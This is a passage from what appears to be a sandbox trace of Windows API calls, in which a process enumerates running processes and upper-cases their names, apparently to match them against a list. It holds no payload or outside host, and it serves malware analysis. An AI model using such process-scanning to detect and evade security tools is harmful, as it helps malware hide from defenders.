(in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.053] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0151.053] lstrlenW (lpString="svchost.exe") returned 11 [0151.053] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0151.053] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0151.053] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0151.053] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0151.054] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0151.054] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0151.054] CharUpperBuffW (in: lpsz="OfficeClickToRun.exe", cchLength=0x14 | out: lpsz="OFFICECLICKTORUN.EXE") returned 0x14 [0151.054] PathFindFileNameW (pszPath="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0151.054] lstrcpyW (in: lpString1=0x2b4f928, lpString2="OFFICECLICKTORUN.EXE" | out: lpString1="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0151.054] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.055] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0151.055] lstrlenW (lpString="svchost.exe") returned 11 [0151.055] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0151.055] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0151.055] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0151.055] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0151.056] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="sihost.exe" | out: lpString1="sihost.exe") returned="sihost.exe" [0151.056] lstrlenW (lpString="sihost.exe") returned 10 [0151.056] CharUpperBuffW (in: lpsz="sihost.exe", cchLength=0xa | out: lpsz="SIHOST.EXE") returned 0xa [0151.056] PathFindFileNameW (pszPath="SIHOST.EXE") returned="SIHOST.EXE" [0151.056] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SIHOST.EXE" | out: lpString1="SIHOST.EXE") returned="SIHOST.EXE" [0151.056] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0151.056] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="taskhostw.exe" | out: lpString1="taskhostw.exe") returned="taskhostw.exe" [0151.056] lstrlenW (lpString="taskhostw.exe") returned 13 [0151.056] CharUpperBuffW (in: lpsz="taskhostw.exe", cchLength=0xd | out: lpsz="TASKHOSTW.EXE") returned 0xd [0151.056] PathFindFileNameW (pszPath="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0151.056] lstrcpyW (in: lpString1=0x2b4f928, lpString2="TASKHOSTW.EXE" | out: lpString1="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0151.056] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0151.057] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0151.057] lstrlenW (lpString="explorer.exe") returned 12 [0151.057] CharUpperBuffW (in: lpsz="explorer.exe", cchLength=0xc | out: lpsz="EXPLORER.EXE") returned 0xc [0151.057] PathFindFileNameW (pszPath="EXPLORER.EXE") returned="EXPLORER.EXE" [0151.057] lstrcpyW (in: lpString1=0x2b4f928, lpString2="EXPLORER.EXE" | out: lpString1="EXPLORER.EXE") returned="EXPLORER.EXE" [0151.057] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0151.058] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="RuntimeBroker.exe" | out: lpString1="RuntimeBroker.exe") returned="RuntimeBroker.exe" [0151.058] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0151.058] CharUpperBuffW (in: lpsz="RuntimeBroker.exe", cchLength=0x11 | out: lpsz="RUNTIMEBROKER.EXE") returned 0x11 [0151.058] PathFindFileNameW (pszPath="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0151.058] lstrcpyW (in: lpString1=0x2b4f928, lpString2="RUNTIMEBROKER.EXE" | out: lpString1="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0151.058] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0151.058] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="ShellExperienceHost.exe" | out: lpString1="ShellExperienceHost.exe") returned="ShellExperienceHost.exe" [0151.059] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0151.059] CharUpperBuffW (in: lpsz="ShellExperienceHost.exe", cchLength=0x17 | out: lpsz="SHELLEXPERIENCEHOST.EXE") returned 0x17 [0151.059] PathFindFileNameW (pszPath="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0151.059] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHELLEXPERIENCEHOST.EXE" | out: lpString1="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0151.059] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0151.059] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SearchUI.exe" | out: lpString1="SearchUI.exe") returned="SearchUI.exe" [0151.059] lstrlenW (lpString="SearchUI.exe") returned 12 [0151.059] CharUpperBuffW (in: lpsz="SearchUI.exe", cchLength=0xc | out: lpsz="SEARCHUI.EXE") returned 0xc [0151.059] PathFindFileNameW (pszPath="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0151.059] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SEARCHUI.EXE" | out: lpString1="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0151.059] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commandsxeroxrelationship.exe")) returned 1 [0151.060] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="commandsxeroxrelationship.exe" | out: lpString1="commandsxeroxrelationship.exe") returned="commandsxeroxrelationship.exe" [0151.060] lstrlenW (lpString="commandsxeroxrelationship.exe") returned 29 [0151.060] CharUpperBuffW (in: lpsz="commandsxeroxrelationship.exe", cchLength=0x1d | out: lpsz="COMMANDSXEROXRELATIONSHIP.EXE") returned 0x1d [0151.060] PathFindFileNameW (pszPath="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0151.060] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COMMANDSXEROXRELATIONSHIP.EXE" | out: lpString1="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0151.060] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nice cu.exe")) returned 1 [0151.061] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="nice cu.exe" | out: lpString1="nice cu.exe") returned="nice cu.exe" [0151.061] lstrlenW (lpString="nice cu.exe") returned 11 [0151.061] CharUpperBuffW (in: lpsz="nice cu.exe", cchLength=0xb | out: lpsz="NICE CU.EXE") returned 0xb [0151.061] PathFindFileNameW (pszPath="NICE CU.EXE") returned="NICE CU.EXE" [0151.061] lstrcpyW (in: lpString1=0x2b4f928, lpString2="NICE CU.EXE" | out: lpString1="NICE CU.EXE") returned="NICE CU.EXE" [0151.061] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="video_reviewing.exe")) returned 1 [0151.062] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="video_reviewing.exe" | out: lpString1="video_reviewing.exe") returned="video_reviewing.exe" [0151.062] lstrlenW (lpString="video_reviewing.exe") returned 19 [0151.062] CharUpperBuffW (in: lpsz="video_reviewing.exe", cchLength=0x13 | out: lpsz="VIDEO_REVIEWING.EXE") returned 0x13 [0151.062] PathFindFileNameW (pszPath="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0151.062] lstrcpyW (in: lpString1=0x2b4f928, lpString2="VIDEO_REVIEWING.EXE" | out: lpString1="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0151.062] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shame.exe")) returned 1 [0151.062] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="shame.exe" | out: lpString1="shame.exe") returned="shame.exe" [0151.062] lstrlenW (lpString="shame.exe") returned 9 [0151.062] CharUpperBuffW (in: lpsz="shame.exe", cchLength=0x9 | out: lpsz="SHAME.EXE") returned 0x9 [0151.062] PathFindFileNameW (pszPath="SHAME.EXE") returned="SHAME.EXE" [0151.062] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHAME.EXE" | out: lpString1="SHAME.EXE") returned="SHAME.EXE" [0151.062] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fantasy.exe")) returned 1 [0151.063] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="fantasy.exe" | out: lpString1="fantasy.exe") returned="fantasy.exe" [0151.063] lstrlenW (lpString="fantasy.exe") returned 11 [0151.063] CharUpperBuffW (in: lpsz="fantasy.exe", cchLength=0xb | out: lpsz="FANTASY.EXE") returned 0xb [0151.063] PathFindFileNameW (pszPath="FANTASY.EXE") returned="FANTASY.EXE" [0151.063] lstrcpyW (in: lpString1=0x2b4f928, lpString2="FANTASY.EXE" | out: lpString1="FANTASY.EXE") returned="FANTASY.EXE" [0151.063] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="accepting.exe")) returned 1 [0151.064] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="accepting.exe" | out: lpString1="accepting.exe") returned="accepting.exe" [0151.064] lstrlenW (lpString="accepting.exe") returned 13 [0151.064] CharUpperBuffW (in: lpsz="accepting.exe", cchLength=0xd | out: lpsz="ACCEPTING.EXE") returned 0xd [0151.064] PathFindFileNameW (pszPath="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0151.064] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACCEPTING.EXE" | out: lpString1="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0151.064] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="authorized.exe")) returned 1 [0151.064] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="authorized.exe" | out: lpString1="authorized.exe") returned="authorized.exe" [0151.064] lstrlenW (lpString="authorized.exe") returned 14 [0151.064] CharUpperBuffW (in: lpsz="authorized.exe", cchLength=0xe | out: lpsz="AUTHORIZED.EXE") returned 0xe [0151.065] PathFindFileNameW (pszPath="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0151.065] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUTHORIZED.EXE" | out: lpString1="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0151.065] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp.exe")) returned 1 [0151.065] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="isp.exe" | out: lpString1="isp.exe") returned="isp.exe" [0151.065] lstrlenW (lpString="isp.exe") returned 7 [0151.065] CharUpperBuffW (in: lpsz="isp.exe", cchLength=0x7 | out: lpsz="ISP.EXE") returned 0x7 [0151.065] PathFindFileNameW (pszPath="ISP.EXE") returned="ISP.EXE" [0151.065] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ISP.EXE" | out: lpString1="ISP.EXE") returned="ISP.EXE" [0151.065] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cowboy.exe")) returned 1 [0151.066] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cowboy.exe" | out: lpString1="cowboy.exe") returned="cowboy.exe" [0151.066] lstrlenW (lpString="cowboy.exe") returned 10 [0151.066] CharUpperBuffW (in: lpsz="cowboy.exe", cchLength=0xa | out: lpsz="COWBOY.EXE") returned 0xa [0151.066] PathFindFileNameW (pszPath="COWBOY.EXE") returned="COWBOY.EXE" [0151.066] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COWBOY.EXE" | out: lpString1="COWBOY.EXE") returned="COWBOY.EXE" [0151.066] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="j_variables_changes.exe")) returned 1 [0151.067] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="j_variables_changes.exe" | out: lpString1="j_variables_changes.exe") returned="j_variables_changes.exe" [0151.067] lstrlenW (lpString="j_variables_changes.exe") returned 23 [0151.067] CharUpperBuffW (in: lpsz="j_variables_changes.exe", cchLength=0x17 | out: lpsz="J_VARIABLES_CHANGES.EXE") returned 0x17 [0151.067] PathFindFileNameW (pszPath="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0151.067] lstrcpyW (in: lpString1=0x2b4f928, lpString2="J_VARIABLES_CHANGES.EXE" | out: lpString1="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0151.067] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="thats.exe")) returned 1 [0151.067] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="thats.exe" | out: lpString1="thats.exe") returned="thats.exe" [0151.067] lstrlenW (lpString="thats.exe") returned 9 [0151.067] CharUpperBuffW (in: lpsz="thats.exe", cchLength=0x9 | out: lpsz="THATS.EXE") returned 0x9 [0151.067] PathFindFileNameW (pszPath="THATS.EXE") returned="THATS.EXE" [0151.067] lstrcpyW (in: lpString1=0x2b4f928, lpString2="THATS.EXE" | out: lpString1="THATS.EXE") returned="THATS.EXE" [0151.067] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bikes goods whilst.exe")) returned 1 [0151.068] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="bikes goods whilst.exe" | out: lpString1="bikes goods whilst.exe") returned="bikes goods whilst.exe" [0151.068] lstrlenW (lpString="bikes goods whilst.exe") returned 22 [0151.068] CharUpperBuffW (in: lpsz="bikes goods whilst.exe", cchLength=0x16 | out: lpsz="BIKES GOODS WHILST.EXE") returned 0x16 [0151.068] PathFindFileNameW (pszPath="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0151.068] lstrcpyW (in: lpString1=0x2b4f928, lpString2="BIKES GOODS WHILST.EXE" | out: lpString1="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0151.068] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaches processing culture.exe")) returned 1 [0151.069] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="reaches processing culture.exe" | out: lpString1="reaches processing culture.exe") returned="reaches processing culture.exe" [0151.069] lstrlenW (lpString="reaches processing culture.exe") returned 30 [0151.069] CharUpperBuffW (in: lpsz="reaches processing culture.exe", cchLength=0x1e | out: lpsz="REACHES PROCESSING CULTURE.EXE") returned 0x1e [0151.069] PathFindFileNameW (pszPath="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0151.069] lstrcpyW (in: lpString1=0x2b4f928, lpString2="REACHES PROCESSING CULTURE.EXE" | out: lpString1="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0151.069] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actual.exe")) returned 1 [0151.070] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="actual.exe" | out: lpString1="actual.exe") returned="actual.exe" [0151.070] lstrlenW (lpString="actual.exe") returned 10 [0151.070] CharUpperBuffW (in: lpsz="actual.exe", cchLength=0xa | out: lpsz="ACTUAL.EXE") returned 0xa [0151.070] PathFindFileNameW (pszPath="ACTUAL.EXE") returned="ACTUAL.EXE" [0151.070] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACTUAL.EXE" | out: lpString1="ACTUAL.EXE") returned="ACTUAL.EXE" [0151.070] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="potter larry.exe")) returned 1 [0151.070] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="potter larry.exe" | out: lpString1="potter larry.exe") returned="potter larry.exe" [0151.070] lstrlenW (lpString="potter larry.exe") returned 16 [0151.070] CharUpperBuffW (in: lpsz="potter larry.exe", cchLength=0x10 | out: lpsz="POTTER LARRY.EXE") returned 0x10 [0151.070] PathFindFileNameW (pszPath="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0151.070] lstrcpyW (in: lpString1=0x2b4f928, lpString2="POTTER LARRY.EXE" | out: lpString1="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0151.070] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contents what certificate.exe")) returned 1 [0151.071] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="contents what certificate.exe" | out: lpString1="contents what certificate.exe") returned="contents what certificate.exe" [0151.071] lstrlenW (lpString="contents what certificate.exe") returned 29 [0151.071] CharUpperBuffW (in: lpsz="contents what certificate.exe", cchLength=0x1d | out: lpsz="CONTENTS WHAT CERTIFICATE.EXE") returned 0x1d [0151.071] PathFindFileNameW (pszPath="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0151.071] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CONTENTS WHAT CERTIFICATE.EXE" | out: lpString1="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0151.071] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cindy.exe")) returned 1 [0151.072] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cindy.exe" | out: lpString1="cindy.exe") returned="cindy.exe" [0151.072] lstrlenW (lpString="cindy.exe") returned 9 [0151.072] CharUpperBuffW (in: lpsz="cindy.exe", cchLength=0x9 | out: lpsz="CINDY.EXE") returned 0x9 [0151.072] PathFindFileNameW (pszPath="CINDY.EXE") returned="CINDY.EXE" [0151.072] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CINDY.EXE" | out: lpString1="CINDY.EXE") returned="CINDY.EXE" [0151.072] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="printable_fountain_korea.exe")) returned 1 [0151.072] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="printable_fountain_korea.exe" | out: lpString1="printable_fountain_korea.exe") returned="printable_fountain_korea.exe" [0151.072] lstrlenW (lpString="printable_fountain_korea.exe") returned 28 [0151.072] CharUpperBuffW (in: lpsz="printable_fountain_korea.exe", cchLength=0x1c | out: lpsz="PRINTABLE_FOUNTAIN_KOREA.EXE") returned 0x1c [0151.072] PathFindFileNameW (pszPath="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0151.072] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PRINTABLE_FOUNTAIN_KOREA.EXE" | out: lpString1="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0151.073] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="unusual.exe")) returned 1 [0151.073] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="unusual.exe" | out: lpString1="unusual.exe") returned="unusual.exe" [0151.073] lstrlenW (lpString="unusual.exe") returned 11 [0151.073] CharUpperBuffW (in: lpsz="unusual.exe", cchLength=0xb | out: lpsz="UNUSUAL.EXE") returned 0xb [0151.073] PathFindFileNameW (pszPath="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0151.073] lstrcpyW (in: lpString1=0x2b4f928, lpString2="UNUSUAL.EXE" | out: lpString1="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0151.073] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pacific.exe")) returned 1 [0151.074] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="pacific.exe" | out: lpString1="pacific.exe") returned="pacific.exe" [0151.074] lstrlenW (lpString="pacific.exe") returned 11 [0151.074] CharUpperBuffW (in: lpsz="pacific.exe", cchLength=0xb | out: lpsz="PACIFIC.EXE") returned 0xb [0151.074] PathFindFileNameW (pszPath="PACIFIC.EXE") returned="PACIFIC.EXE" [0151.074] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PACIFIC.EXE" | out: lpString1="PACIFIC.EXE") returned="PACIFIC.EXE" [0151.074] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="phantom.exe")) returned 1 [0151.075] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="phantom.exe" | out: lpString1="phantom.exe") returned="phantom.exe" [0151.075] lstrlenW (lpString="phantom.exe") returned 11 [0151.075] CharUpperBuffW (in: lpsz="phantom.exe", cchLength=0xb | out: lpsz="PHANTOM.EXE") returned 0xb [0151.075] PathFindFileNameW (pszPath="PHANTOM.EXE") returned="PHANTOM.EXE" [0151.075] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PHANTOM.EXE" | out: lpString1="PHANTOM.EXE") returned="PHANTOM.EXE" [0151.075] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0151.076] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="audiodg.exe" | out: 